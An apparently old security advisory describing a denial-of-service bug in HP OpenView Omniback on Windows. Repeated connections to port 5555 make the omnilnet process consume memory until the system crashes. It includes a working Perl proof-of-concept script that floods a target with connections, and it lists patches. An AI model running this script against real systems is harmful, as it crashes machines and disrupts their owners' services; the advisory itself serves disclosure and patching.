COMMAND
Omniback
SYSTEMS AFFECTED
HP Omniback on Win systems
PROBLEM
Jon Hittner found following. There seems to be a bug in HP
Openview Omniback software. If a number of connections are
established to port 5555 to an omniback system, the omnilnet
process starts to consume more and more memory until the machine
crashes. If the test is stopped, and the connections closed,
Omniback does not free up the memory. This was tested with
Omniback vers 2.55, 3.0, and 3.10(newest), running on NT4.0 SP5 ,
NT3.51 , Winframe 1.7 SP5b , and Winframe 1.8. All these
systems seem to be vulnerable. Omniback on Solaris and on HPUX
do not seem to have the problem. The following sample code will
demonstrate the problem, but a better exploit could probably be
written.
#!/usr/bin/perl
#
# Jon Hittner
# Raise the memory size for omnilnet until Windows NT crashes
# Test against NT4.0 SP5 , NT3.51 , Winframe 1.7 SP5b , Winframe 1.8
# Probably needs to be run several times to crash the system depending
# on the amount of memory in the system.
# This code was written to demo a problem, and I take no respoablity on how
# it's used
use strict; use Socket;
my($y,$h,$p,$in_addr,$proto,$addr);
$h = "$ARGV[0]"; $p = 5555 if (!$ARGV[1]);
if (!$h) { print "A hostname must be provided. Ex: www.domain.com\n"; }
$in_addr = (gethostbyname($h))[4]; $addr = sockaddr_in($p,$in_addr);
$proto = getprotobyname('tcp');
print "TESTING: $h:$p\n";
for ($y=1 ; $y<2500000 ; $y++) {
socket(S, AF_INET, SOCK_STREAM, $proto);
connect(S,$addr) or next;
select S;
$| = 1;
select STDOUT;
send S,"OMNIBACK HAS SOME BIG ISSUES",0;
}
print "ATTACK COMPLETED!\n";
SOLUTION
This problem can be eliminated by installing the appropriate patch
on the OmniBack NT Installation Server and then distributing the
patched binaries to the OmniBack NT clients using the client
upgrade action in the OmniBack Manager GUI:
OMNIBACK_00011 for HP OpenView OmniBack version 3.00, or
OMNIBACK_00012 for HP OpenView OmniBack version 3.10.